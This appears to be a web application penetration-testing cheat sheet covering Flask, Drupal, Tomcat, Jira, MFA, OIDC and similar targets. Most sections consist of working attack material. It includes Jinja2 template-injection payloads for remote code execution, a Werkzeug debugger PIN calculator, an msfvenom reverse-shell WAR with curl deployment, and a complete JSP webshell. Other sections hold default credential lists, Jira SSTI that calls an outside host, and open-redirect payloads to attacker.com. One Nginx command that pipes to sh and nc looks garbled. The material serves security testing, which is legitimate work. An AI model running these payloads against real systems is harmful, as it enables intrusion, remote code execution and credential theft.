https://hackerone.com/reports/7900
https://hackerone.com/reports/244958
https://hackerone.com/reports/405100
https://ysamm.com/?p=379
https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/
https://medium.com/@godofdarkness.msf/mail-ru-ext-b-scope-account-takeover-1500-abdb1560e5f9
https://medium.com/@tristanfarkas/finding-a-security-bug-in-discord-and-what-it-taught-me-516cda561295
https://medium.com/@0xgaurang/case-study-oauth-misconfiguration-leads-to-account-takeover-d3621fe8308b
https://medium.com/@rootxharsh_90844/abusing-feature-to-steal-your-tokens-f15f78cebf74
http://blog.intothesymmetry.com/2014/02/oauth-2-attacks-and-bug-bounties.html
http://blog.intothesymmetry.com/2015/04/open-redirect-in-rfc6749-aka-oauth-20.html
https://www.veracode.com/blog/research/spring-social-core-vulnerability-disclosure
https://medium.com/@apkash8/oauth-and-security-7fddce2e1dc5
https://xploitprotocol.medium.com/exploiting-oauth-2-0-authorization-code-grants-379798888893
```

## OAuth scheme

![](/files/-MMy7cLlAshQPIGv5juw)

## Code grant flow

![](/files/-MMy7xfgLCrBzKMM3w5I)

## OAuth Attack mindmap

![](/files/-M9HNlKjBz6mJ5Avk7Ye)


# Flask

Python Flask application security testing - cookie manipulation, SSTI, debug mode exploitation.

## Cookie/Session Attacks

### Flask-Unsign

```bash
# Install
pip3 install flask-unsign

# Decode session cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

# Decode from server response
flask-unsign --decode --server 'https://target.com/login'

# Bruteforce secret key
flask-unsign --unsign --cookie 'eyJ...' --wordlist /usr/share/wordlists/rockyou.txt

# Sign new cookie (after obtaining secret)
flask-unsign --sign --cookie "{'logged_in': True, 'user': 'admin'}" --secret 'CHANGEME'

# Common Flask secret keys to try:
# secret, secretkey, password, changeme, development, devkey
```

### Cookie Structure

```python
# Flask cookies are: base64(payload) + '.' + timestamp + '.' + signature
# Timestamp is 31-bit Unix epoch
# Signature is HMAC-SHA1

# Decode manually
import base64, zlib
cookie = "eyJ..."
payload = base64.urlsafe_b64decode(cookie.split('.')[0] + '==')
print(zlib.decompress(payload))  # If compressed
```

## Server-Side Template Injection (SSTI)

### Detection

```python
# Test for Jinja2 SSTI
{{7*7}}              # Returns: 49
{{config}}           # Returns Flask config
{{self}}             # Returns TemplateReference
${7*7}               # Alternative syntax
```

### Information Disclosure

```python
# Dump configuration
{{config}}
{{config.items()}}

# Access request object
{{request}}
{{request.environ}}
{{request.args}}
{{request.cookies}}
{{request.headers}}

# URL helpers (may reveal routes)
{{url_for.__globals__}}
```

### File Read

```python
# Read files via builtins
{{url_for.__globals__['__builtins__'].open('/etc/passwd').read()}}

# Alternative path
{{request.application.__self__._get_data_for_json.__globals__['__builtins__']['open']('/etc/passwd').read()}}

# Via cycler
{{cycler.__init__.__globals__.os.popen('cat /etc/passwd').read()}}
```

### Remote Code Execution

```python
# Basic RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Via lipsum
{{lipsum.__globals__['os'].popen('whoami').read()}}

# Via cycler
{{cycler.__init__.__globals__.os.popen('id').read()}}

# Via joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}

# Import os module
{{request['application']['__globals__']['__builtins__']['__import__']('os').popen('id').read()}}
```

### Filter Bypass

```python
# Bypass _ filter
{{request|attr('class')}}  # Same as request.__class__
{{request|attr('\x5f\x5fclass\x5f\x5f')}}

# Bypass . filter
{{request['__class__']}}
{{request|attr('application')|attr('__globals__')}}

# Bypass quotes
{{request|attr(request.args.a)}}&a=__class__

# Hex encoding
{{''['\x5f\x5fclass\x5f\x5f']}}
```

## Debug Mode Exploitation

### Werkzeug Debugger

```bash
# If debug=True, check for debugger console
/console

# PIN is derived from:
# - username (www-data, flask, etc.)
# - modname (flask.app)
# - getattr(app, '__name__', app.__class__.__name__)
# - getattr(mod, '__file__', None)
# - str(uuid.getnode()) - MAC address
# - get_machine_id()

# Generate PIN (requires LFI first)
# Get machine-id
cat /etc/machine-id
cat /proc/sys/kernel/random/boot_id

# Get MAC address
cat /sys/class/net/eth0/address
# Convert: 02:42:ac:11:00:02 → 2485377892354
```

### PIN Calculation

```python
import hashlib
from itertools import chain

# Values obtained via LFI
probably_public_bits = [
    'www-data',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__')
    '/usr/local/lib/python3.8/dist-packages/flask/app.py'  # getattr(mod, '__file__')
]

private_bits = [
    '2485377892354',  # str(uuid.getnode()) - MAC as decimal
    'machine-id-here'  # machine-id + cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

print(f"PIN: {num}")
```

## Common Endpoints

```bash
# Admin/debug endpoints
/admin
/console
/debug
/api
/swagger
/api/docs

# Common routes
/login
/register
/user/<id>
/static/<path>
```

## Tools

```bash
# SSTImap
# https://github.com/AhmedMohamedDev/SSTImap
python3 sstimap.py -u "https://target.com/?name=*"

# Tplmap
# https://github.com/AhmedMohamedDev/tplmap
python tplmap.py -u "https://target.com/?name=*"

# Flask-Unsign
pip3 install flask-unsign
```

## Related Topics

* [SSTI](/enumeration/web/ssti) - Server-side template injection
* [LFI/RFI](/enumeration/web/lfi-rfi) - For reading files to calculate PIN
* [Deserialization](/enumeration/web/deserialization) - Python pickle attacks


# Symfony && Twig

```
**Tools**
# Server-Side Template Injection and Code Injection Detection and Exploitation Tool 
# https://github.com/epinna/tplmap
./tplmap.py -u 'http://www.target.com/page?name=John'
# https://github.com/ambionics/symfony-exploits

# Symfony:
Check for www.example.com/_profiler/ it contains errors and server variables
# Symfony debug looter:
https://github.com/synacktiv/eos/

# Twig:
https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34
```


# Drupal

```bash
**Tools** 
# droopescan
# https://github.com/droope/droopescan
droopescan scan drupal -u https://example.com -t 32

# drupwn
# https://github.com/immunIT/drupwn
sudo python3 drupwn --mode enum|exploit --target https://example.com

# https://github.com/ajinabraham/CMSScan
docker build -t cmsscan .
docker run -it -p 7070:7070 cmsscan
python3 cmsmap.py -f D https://www.example.com -F

# https://github.com/Tuhinshubhra/CMSeeK
python3 cmseek.py -u domain.com

# Drupal < 8.7.x Authenticated RCE module upload
https://www.drupal.org/project/drupal/issues/3093274
https://www.drupal.org/files/issues/2019-11-08/drupal_rce.tar_.gz

# Drupal < 9.1.x Authenticated RCE Twig templates
https://www.drupal.org/project/drupal/issues/2860607
"Administer views" -> new View of User Fields - >Add a "Custom text"
"{{ {"#lazy_builder": ["shell_exec", ["touch /tmp/hellofromviews"]]} }}"

# If found /node/$NUMBER, the number could be devs or tests pages

# drupal 8
# https://www.exploit-db.com/exploits/46459

# Check for username disclosure on old versions:
?q=admin/views/ajax/autocomplete/user/a

```


# NoSQL (MongoDB, CouchDB)

{% embed url="<https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-nosql-injection-nosqli-vulnerabilities>" %}

```bash
# Tools
## Mongobleed https://github.com/joe-desimone/mongobleed
# https://github.com/codingo/NoSQLMap
python NoSQLMap.py
# https://github.com/torque59/Nosql-Exploitation-Framework
python nosqlframework.py -h
# https://github.com/Charlie-belmer/nosqli
nosqli scan -t http://localhost:4000/user/lookup?username=test
# https://github.com/FSecureLABS/N1QLMap
./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

# Payload: 
' || 'a'=='a

mongodbserver:port/status?text=1

# in URL
username[$ne]=toto&password[$ne]=toto

##in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt":""}, "password": {"$gt":""}}

- Trigger MongoDB syntax error -> ' " \ ; { }
- Insert logic -> ' || '1' == '1' ; //
- Comment out -> //
- Operators -> $where $gt $lt $ne $regex
- Mongo commands -> db.getCollectionNames()
```


# PHP

```bash
# Tools
https://github.com/TarlogicSecurity/Chankro
# Bypass disable_functions and open_basedir
python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html
# Unserialize PHP Payload generator
https://github.com/ambionics/phpggc
# Backup Artifacts
# https://github.com/mazen160/bfac
bfac --url http://example.com/test.php

```


# RoR (Ruby on Rails)

```
**Tools** 
# https://github.com/presidentbeef/brakeman
gem install brakeman
brakeman /path/to/rails/application

# RoR RCE's
# https://bishopfox.com/blog/ruby-vulnerabilities-exploits
```


# JBoss - Java Deserialization

```
# JexBoss
# https://github.com/joaomatosf/jexboss
python jexboss.py -host http://target_host:8080
```


# OneLogin - SAML Login

```
# https://developers.onelogin.com/saml
# https://www.securing.pl/en/saml-what-can-go-wrong-security-check/
# https://github.com/fadyosman/SAMLExtractor
./samle.py -u https://carbon-prototype.uberinternal.com/
./samle.py -r "https://domain.onelogin.com/trust/saml2/http-post/sso/571434?SAMLRequest=nVNNb9swDP0rhu7%2BkO0iqRAH8FIMC9BtRuLtOjAS2wqwJU%2Bi1%2FTfT3aSIoc1h10siXzie3yiVx76bhD1SC9mh79H9BQd%2B854MScqNjojLHjthYEevSAp9vXXR5EnmRicJSttx6LmvPukjdLm%2Bfa1wwnkxZe2beLm%2B75l0U90XltTsQBg0db7EbfGExgKoYwvY85jXrZZJgouijxAHiqGPC8XRblEDF9eZvcqX4DEXC3v70CpgkW19%2BgoFN5Y48ce3R7dHy3xx%2B6xYi9EgxdpKsEdrInnbuhtwGQ8oNOG0BnoEml7UZZFarWC4FI6%2BfJLnsqx9Wo6ilmvuzLutgFwUcXWFw0wDIk12NlnbSbKmSbtkUABQXq34GVRrtIrthP1IL6F8tuHxnZavkV119nXjUMgrBi5EVn02boe6GNBPOFzRKv4aYYK7EF3tVIOvWfphec8HajmWQl%2BEh4p2th%2BAKf99HR4BEkXS65Rmy50vMOn%2FzHoJkwKOZUO4SYsr9apaRBRBpWtA%2BMH6%2Bhs2r%2F0rE%2B5D3p7z17%2FHOu%2F&RelayState=%2F"
```

![](/files/-MNYo6lr7r0502i7CP2O)


# Flash SWF

```
# SWF Param Finder
https://github.com/m4ll0k/SWFPFinder
bash swfpfinder.sh https://example.com/test.swf
```


# Nginx

```
curl -gsS https://example.com:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00example.com/../../../%00/n …\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

# If merge_slashes is OFF path traversal is possible, just append 1 slash more to find
///////../../../etc/passwd
```


# Python

```
# Analyze Python code
https://github.com/PyCQA/bandit

# Python Web Server common flaws
Input injection in filename:
"; cat /etc/passwd

```


# Tomcat

Apache Tomcat security testing - enumeration, default credentials, manager exploitation, and common CVEs.

## Enumeration

### Version Detection

```bash
# Error pages often reveal version
curl -v https://target.com/nonexistent 2>&1 | grep "Tomcat"

# Server header
curl -I https://target.com | grep Server

# Documentation pages
/docs/
/RELEASE-NOTES.txt
```

### Default Paths

```bash
# Manager interfaces
/manager/html          # Web Application Manager
/manager/text          # Text interface
/manager/jmxproxy     # JMX proxy
/manager/status        # Server status
/host-manager/html     # Virtual Host Manager

# Admin console (older versions)
/admin/

# Status page
/status
```

### Example Applications (often left enabled)

```bash
# Tomcat 4.x - 7.x example scripts (information disclosure)
/examples/jsp/num/numguess.jsp
/examples/jsp/dates/date.jsp
/examples/jsp/snp/snoop.jsp        # Shows server info, headers
/examples/jsp/error/error.html
/examples/jsp/sessions/carts.html
/examples/jsp/checkbox/check.html
/examples/jsp/colors/colors.html
/examples/jsp/cal/login.html
/examples/jsp/include/include.jsp
/examples/jsp/forward/forward.jsp
/examples/jsp/plugin/plugin.jsp
/examples/jsp/jsptoserv/jsptoservlet.jsp
/examples/jsp/simpletag/foo.jsp
/examples/jsp/mail/sendmail.jsp
/examples/servlet/HelloWorldExample
/examples/servlet/RequestInfoExample
/examples/servlet/RequestHeaderExample
/examples/servlet/RequestParamExample
/examples/servlet/CookieExample
/examples/servlet/JndiServlet
/examples/servlet/SessionExample
/tomcat-docs/appdev/sample/web/hello.jsp

# Session manipulation
/examples/jsp/sessions/carts.html   # Can be used for session testing
```

## Default Credentials

```
# Common default credentials for Tomcat Manager
admin:admin
admin:password
admin:tomcat
tomcat:tomcat
tomcat:s3cret
manager:manager
role1:role1
root:root
both:tomcat
admin:changethis
```

### Credentials Location

```bash
# Tomcat users configuration
$CATALINA_HOME/conf/tomcat-users.xml
/etc/tomcat/tomcat-users.xml
/var/lib/tomcat8/conf/tomcat-users.xml
/opt/tomcat/conf/tomcat-users.xml

# Example tomcat-users.xml content:
<user username="admin" password="admin" roles="manager-gui,admin-gui"/>
```

## Manager Exploitation

### WAR File Deployment (RCE)

```bash
# Generate malicious WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker LPORT=4444 -f war > shell.war

# Deploy via curl
curl -u 'tomcat:tomcat' --upload-file shell.war \
  "https://target.com/manager/text/deploy?path=/shell"

# Alternative: Use text interface
curl -u 'tomcat:tomcat' \
  "https://target.com/manager/text/deploy?war=file:/path/to/shell.war&path=/shell"

# Access shell
curl https://target.com/shell/

# Undeploy when done
curl -u 'tomcat:tomcat' "https://target.com/manager/text/undeploy?path=/shell"
```

### Manual JSP Webshell

```jsp
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String dirone = dis.readLine();
    while(dirone != null) {
        out.println(dirone);
        dirone = dis.readLine();
    }
}
%>
```

## Common CVEs

### CVE-2017-12615 (PUT Method RCE)

```bash
# Affects Tomcat 7.0.0 - 7.0.79 (Windows)
# Upload JSP via PUT request

curl -X PUT "https://target.com/shell.jsp/" -d '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'
curl -X PUT "https://target.com/shell.jsp%20" -d '<% ... %>'  # Space bypass
curl -X PUT "https://target.com/shell.jsp::$DATA" -d '<% ... %>'  # NTFS stream
```

### CVE-2019-0232 (CGI RCE)

```bash
# Affects Windows Tomcat with CGI enabled
# Command injection via batch file

curl "https://target.com/cgi-bin/test.bat?&whoami"
```

### CVE-2020-1938 (Ghostcat - AJP)

```bash
# Affects Tomcat with AJP enabled (port 8009)
# File read/include via AJP protocol

# Check if AJP port open
nmap -p 8009 target.com

# Exploit
# https://github.com/AhmedMohamedDev/CNVD-2020-10487-Tomcat-Ajp-lfi
python ajpShooter.py https://target.com 8009 /WEB-INF/web.xml read

# For RCE, upload file then include it
python ajpShooter.py https://target.com 8009 /shell.txt eval
```

### CVE-2020-9484 (Deserialization)

```bash
# Session persistence deserialization
# Requires: PersistentManager, FileStore, attacker file upload

# Craft malicious session
java -jar ysoserial.jar CommonsCollections2 'id' > /path/session.session

# Trigger via Cookie
curl -H "Cookie: JSESSIONID=../../path/session" https://target.com/
```

## JMX Exploitation

```bash
# If JMX enabled without auth
# Connect with jconsole or custom client

# RCE via MLet
# Create malicious MBean
```

## AJP Protocol Testing

```bash
# Nmap AJP scripts
nmap -sV -p 8009 --script ajp-auth,ajp-methods target.com

# AJP request
# https://github.com/AhmedMohamedDev/ajp-client
python3 ajp_client.py target.com 8009 /manager/html
```

## Tools

```bash
# Tomcat bruteforce
# https://github.com/AhmedMohamedDev/tomcat-manager-bruteforce
python3 tomcat_bruteforce.py -U https://target.com/manager/html

# Metasploit
use auxiliary/scanner/http/tomcat_mgr_login
use exploit/multi/http/tomcat_mgr_deploy

# Nuclei
nuclei -t http/cves/2020/CVE-2020-1938.yaml -u https://target.com
nuclei -t http/default-logins/tomcat* -u https://target.com
```

## Related Topics

* [Web Shells](/enumeration/web/web-shells) - JSP shells
* [Deserialization](/enumeration/web/deserialization) - Java deserialization
* [Reverse Shells](/exploitation/reverse-shells)


# Adobe AEM

## Tools

```bash
# https://github.com/0ang3el/aem-hacker
python3 aem_discoverer.py --file list.txt
python3 aem_hacker.py -u https://target.com --host [SSRF_CALLBACK]
#https://github.com/Raz0r/aemscan
```

## Paths

```
#https://github.com/clarkvoss/AEM-List/blob/main/paths
#https://github.com/emadshanab/Adobe-Experience-Manager/blob/main/aem-paths.txt
```

## Creds

```
admin:admin
author:author
anonymous:anonymous
replication-receiver:replication-receiver
jdoe@geometrixx.info:jdoe
aparker@geometrixx.info:aparker
grios:password
vgnadmin:vgnadmin
james.devore@spambob.com:password
matt.monroe@mailinator.com:password
aaron.mcdonald@mailinator.com:password
jason.werner@dodgit.com:password)
```

## Vulns

### CVE-2016-0957 - Bypass dispatcher filters

```bash
https://aemsite/bin/querybuilder.json/a.css
https://aemsite/bin/querybuilder.json/a.html
https://aemsite/bin/querybuilder.json/a.ico
https://aemsite/bin/querybuilder.json/a.png
https://aemsite/bin/querybuilder.json;%0aa.css
https://aemsite/bin/querybuilder.json/a.1.json
https://aemsite///bin///querybuilder.json
https://aemsite///etc.json

#Depending on the version and configuration of the affected AEM installation, the above vulnerability could expose the Publish tier to a number of vulnerabilities, including:
# Provides a proxy which is able to be used to perform arbitrary server-side requests.
/libs/opensocial/proxy
# Exposes a reflected Cross-Site Scripting (XSS) vulnerability in older versions of AEM 5.X.
/etc/mobile/useragent-test.html
# Exposes an unauthenticated, browsable view of all content in the repository which may lead to information disclosure.
/etc/reports/diskusage.html
```

{% embed url="<https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps>" %}

{% embed url="<https://www.infosecinstitute.com/resources/penetration-testing/adobe-cq-pentesting-guide-part-1/>" %}


# Magento

```
https://github.com/steverobbins/magescan
```


# SAP

```bash
# Fuzzing dictionary
https://raw.githubusercontent.com/jackrichardzon/s4p0/master/S4P-DIR.txt

# SAP-RECON
https://github.com/chipik/SAP_RECON

# SAP multiple
https://github.com/shipcod3/mySapAdventures

# SAP wordlist
https://github.com/emadshanab/SAP-wordlist/blob/main/SAP-wordlist.txt

# SAP ports
https://buddysap.com/list-of-sap-port-used-in-sap-abap-and-java-system/
```


# MFA/2FA

## Common flaws

```
# Lack of rate limit
    - Exploitation:
    1. Request 2FA code and capture this request.
    2. Repeat this request for 100–200 times and if there is no limitation set, that’s a rate limit issue.
    3. At 2FA Code Verification page, try to brute-force for valid 2FA and see if there is any success.
    4. You can also try to initiate, requesting OTPs at one side and brute-forcing at another side. Somewhere the OTP will match in middle and may give you a quick result.
# Rate limit bypass
    # Limiting the flow rate
    # Generated OTP code doesn’t change
    # Rate-limit resetting when updating the code
    # Bypassing the rate limit by changing the IP address
    # Support for X-Forwarded-For turned on
# Bypass replacing part of the request from the session
# Bypass using the "Remember Me" functionality
    # If 2FA is attached using a cookie, the cookie value must be unguessable
    # If 2FA is attached to an IP address, you can try to replace your IP address
# Improper access control bug on the 2FA dialog page
# Insufficient censorship of personal data on the 2FA page
# Ignoring 2FA under certain circumstances.
    # 2FA ignoring when recovering a password
    # Ignoring 2FA when entering through a social network
    # Ignoring 2FA in an older version of the application
    # Ignoring 2FA in case of cross-platforming
# When disabling 2FA, the current code or password is not requested
# Previously created sessions remain valid after activation of 2FA
# Lack of Rate-limit in the user’s account (OTP is validated, but user's id not)
# Manipulation of API’s versions
# Improper Access Control in the backup codes request
# Response body manipulation
# HTTP Response Status Code Manipulation
# Code Leakage in Response
# Direct Request/Forceful Browsing
    - Exploitation:
    1. Normal flow: Login -> MFA -> Profile
    2. Attack: Login -> MFA, instead input MFA navigate to Profile
# Cached OTP in Dynamic JS Files
# OTP Code Reusability
```

{% embed url="<https://www.nccgroup.com/us/research-blog/testing-two-factor-authentication/>" %}

## Mindmaps

![](/files/-MG32u4bqzoZyMGx29ji)

![](/files/-MG33S9Ztrv-efvKxKLy)

![](/files/-MSl13rG4BWHaJDQdmeQ)

```
https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35
https://blog.cobalt.io/bypassing-the-protections-mfa-bypass-techniques-for-the-win-8ef6215de6ab
https://research.nccgroup.com/2021/06/10/testing-two-factor-authentication/
```


# GWT

```
# Google Web Toolkit
# https://github.com/FSecureLABS/GWTMap
./gwtmap.py -u http://target.com/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe
```


# Jira

```bash
# Jira Scanner
# https://github.com/bcoles/jira_scan
# https://github.com/MayankPandey01/Jira-Lens
# https://github.com/0x48piraj/jiraffe

# cve-2019-8449 
# The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability. 
 https://jira.atlassian.com/browse/JRASERVER-69796
 https://victomhost/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true

# cve-2019-8451:ssrf-response-body 
# The /plugins/servlet/gadgets/makeRequest resource in Jira before version 8.4.0 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF) vulnerability due to a logic bug in the JiraWhitelist class.
https://jira.atlassian.com/browse/JRASERVER-69793?jql=labels%20%3D%20
https://victomhost/plugins/servlet/gadgets/makeRequest?url=https://victomhost:1337@example.com

#RCE Jira=CVE-2019–11581
#https://hackerone.com/reports/706841
/secure/ContactAdministrators!default.jspa

# cve-2018-20824
# vulnerable to Server Side Request Forgery (SSRF). This allowed a XSS and or a SSRF attack to be performed. More information about the Atlassian OAuth plugin issue see https://ecosystem.atlassian.net/browse/OAUTH-344 . When running in an environment like Amazon EC2, this flaw can used to access to a metadata resource that provides access credentials and other potentially confidential information. 
 https://victomhost/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)

# cve-2020-14179 
# Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint.
REF=https://jira.atlassian.com/browse/JRASERVER-71536
POC: 
https://victomhost/secure/QueryComponent!Default.jspa

# cve-2020-14181 
# Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint.
Ref=https://jira.atlassian.com/browse/JRASERVER-71560?jql=text%20~%20%22cve-2020-14181%22
# POC:
https://victomhost/secure/ViewUserHover.jspa
https://victomhost/ViewUserHover.jspa?username=Admin
https://hackerone.com/reports/380354

# CVE-2018-5230
# https://jira.atlassian.com/browse/JRASERVER-67289
#HOW TO EXPLOIT:
https://host/issues/?filter=-8
#Go to the link above
#Click the "Updated Range:" text area
#Put your XSS payload in "More than [ ] minutes ago" (15 character payload limit) or in "In range [ ] to [ ]" (No length limit, ONLY put the payload in the first box)
#Click Update
#Payload will run. If it doesn't run chances are you used double quotes somewhere. Only use single quotes!

# jira-unauthenticated-dashboards  
https://victomhost/rest/api/2/dashboard?maxResults=100

# jira-unauth-popular-filters 
https://victomhost/secure/ManageFilters.jspa?filter=popular&filterView=popular

# https://hackerone.com/reports/197726
https://newrelic.atlassian.net/secure/ManageFilters.jspa?filterView=popular
https://newrelic.atlassian.net/secure/ManageFilters.jspa?filterView=search

# https://hackerone.com/reports/139970
https://host/secure/ConfigurePortalPages!default.jspa?view=popular
https://host/secure/ManageFilters.jspa?filterView=search&Search=Search&filterView=search&sortColumn=favcount&sortAscending=false

#/pages/%3CIFRAME%20SRC%3D%22javascript%3Aalert(‘XSS’)%22%3E.vm

# CVE-2019-3403
# Information disclosure vulnerability
https://jira.atlassian.com/browse/JRASERVER-69242
#visit the URL address,you can check the user whether is exist on this host
/rest/api/2/user/picker?query=admin
# So the attacker can enumerate all existing users on this jira server.

# CVE-2019-8442
https://jira.atlassian.com/browse/JRASERVER-69241
#visit the URL address,the server will leaking some server's information
/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
/rest/api/2/user/picker?query=admin
/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml

# CVE-2017-9506
#https://blog.csdn.net/caiqiiqi/article/details/89017806
/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.google.nl

#CVE-2019-3402：[Jira]XSS in the labels gadget
/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=Search
ConfigurePortalPages.jspa

#CVE-2018-20824：[Jira]XSS in WallboardServlet through the cyclePeriod parameter
/plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true

#CVE-2019-3396: [Path Traversal & RCE]
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: JIRA
...

{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler(.)com/v/23464dc5","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}

#CVE-2019-11581: [SSTI]
http://<JIRA>/secure/ContactAdministrators!default.jspa
#Try SSTI payload in subject and/or body:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://xyz.burp(.)net').waitFor()

#CVE-2020-14178: [Project Key Enum]
http://<JIRA>/browse.<PROJECTKEY>

#CVE-2020-36289: [Username Enumeration] 
https://<JIRA>/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin

#jira-unauthenticated-dashboards:
https://<JIRA>/rest/api/2/dashboard?maxResults=100

#jira-unauth-popular-filters:
https://<JIRA>/secure/ManageFilters.jspa?filterView=popular
```


# OIDC (Open ID Connect)

OpenID Connect is an authentication layer built on OAuth 2.0. Testing focuses on token manipulation, redirect vulnerabilities, and misconfigurations.

## Common Implementations

```
- Keycloak (Red Hat)
- Okta
- Auth0
- Azure AD
- Amazon Cognito (AWS)
- Google Identity
- GitLab
- Bitbucket Server (Atlassian)
- Salesforce
```

## Discovery & Enumeration

### Well-Known Endpoints

```bash
# OIDC Configuration (always check this first)
curl https://target.com/.well-known/openid-configuration | jq

# Returns:
# - authorization_endpoint
# - token_endpoint
# - userinfo_endpoint
# - jwks_uri (JSON Web Key Set)
# - supported scopes, claims, grant types

# OAuth 2.0 Authorization Server Metadata
curl https://target.com/.well-known/oauth-authorization-server | jq

# WebFinger (for email-based discovery)
curl "https://target.com/.well-known/webfinger?resource=acct:user@target.com"
```

### Key Endpoints to Test

```bash
/authorize
/token
/userinfo
/logout
/revoke
/introspect
/.well-known/openid-configuration
/.well-known/jwks.json
```

## Token Attacks

### ID Token Manipulation

```bash
# Decode ID token (JWT)
echo "eyJhbGciOiJSUzI1NiIs..." | cut -d'.' -f2 | base64 -d | jq

# Check for weak algorithms
# Look for: alg: "none", "HS256" (when RS256 expected)

# Algorithm confusion attack
# Change RS256 to HS256 and sign with public key as secret
```

### Token Substitution

```bash
# Use token from one client for another
# 1. Get token from client A
# 2. Present to client B's resource server
# If aud (audience) claim not validated → vulnerable
```

### Refresh Token Abuse

```bash
# Test if refresh token can be used without client_secret
curl -X POST https://target.com/token \
  -d "grant_type=refresh_token" \
  -d "refresh_token=REFRESH_TOKEN" \
  -d "client_id=CLIENT_ID"

# Test refresh token rotation
# Can old refresh tokens still be used after rotation?
```

## Redirect URI Attacks

### Open Redirect

```bash
# Test redirect_uri manipulation
/authorize?client_id=X&redirect_uri=https://attacker.com
/authorize?client_id=X&redirect_uri=https://target.com.attacker.com
/authorize?client_id=X&redirect_uri=https://target.com%40attacker.com
/authorize?client_id=X&redirect_uri=https://target.com/callback/../../../attacker

# Bypass techniques
redirect_uri=https://target.com/callback?next=https://attacker.com
redirect_uri=https://target.com/callback#@attacker.com
redirect_uri=https://target.com/callback%0d%0aLocation:%20https://attacker.com
```

### Token Leakage via Redirect

```bash
# If token in URL fragment, test for:
# 1. Open redirect to leak fragment
# 2. Referrer header leakage
# 3. History API access
```

## SSRF via OIDC

```bash
# Test URI parameters for SSRF
redirect_uri=http://169.254.169.254/
redirect_uri=http://localhost:8080/
jwks_uri=http://internal-server/jwks.json

# Metadata URL manipulation (for dynamic client registration)
curl -X POST https://target.com/register \
  -H "Content-Type: application/json" \
  -d '{"redirect_uris":["http://attacker.com"],"jwks_uri":"http://internal:8080"}'
```

## State & Nonce Bypass

```bash
# Missing state parameter (CSRF)
# Remove state from authorization request
/authorize?client_id=X&redirect_uri=Y  # No state → CSRF possible

# State not bound to session
# Reuse state value from another session

# Missing nonce (replay attacks)
# Remove nonce from implicit flow requests
```

## Scope Abuse

```bash
# Request elevated scopes
/authorize?client_id=X&scope=openid+profile+email+admin+write

# Test scope escalation after consent
# Get consent for 'read', then request token with 'read write'
```

## Specific Provider Attacks

### Keycloak

```bash
# Admin console
/auth/admin/
/auth/admin/master/console/

# Realm info
/auth/realms/{realm}/.well-known/openid-configuration

# CVE-2020-1714 - Adapter token spoofing
# CVE-2020-1728 - SAML authentication bypass
```

### Azure AD

```bash
# Tenant enumeration
curl https://login.microsoftonline.com/{tenant}/.well-known/openid-configuration

# Guest user abuse
# B2B guest tokens may have unexpected permissions
```

### AWS Cognito

```bash
# User pool info
curl https://cognito-idp.{region}.amazonaws.com/{userPoolId}/.well-known/openid-configuration

# Test for self-registration if enabled
# Check attribute-based access control bypass
```

## Tools

```bash
# JWT testing
jwt_tool TOKEN -T  # Tamper mode
jwt_tool TOKEN -C -d wordlist.txt  # Crack secret

# Burp extensions
# - JSON Web Tokens
# - OAuth 2.0 Scanner
# - SAML Raider (for SAML/OIDC hybrid)

# OIDC testing
# https://github.com/AhmedMohamedDev/oidc-bash-client
```

## Related Topics

* [OAuth](/enumeration/webservices/oauth) - OIDC is built on OAuth 2.0
* [JWT](/enumeration/webservices/jwt) - ID tokens are JWTs
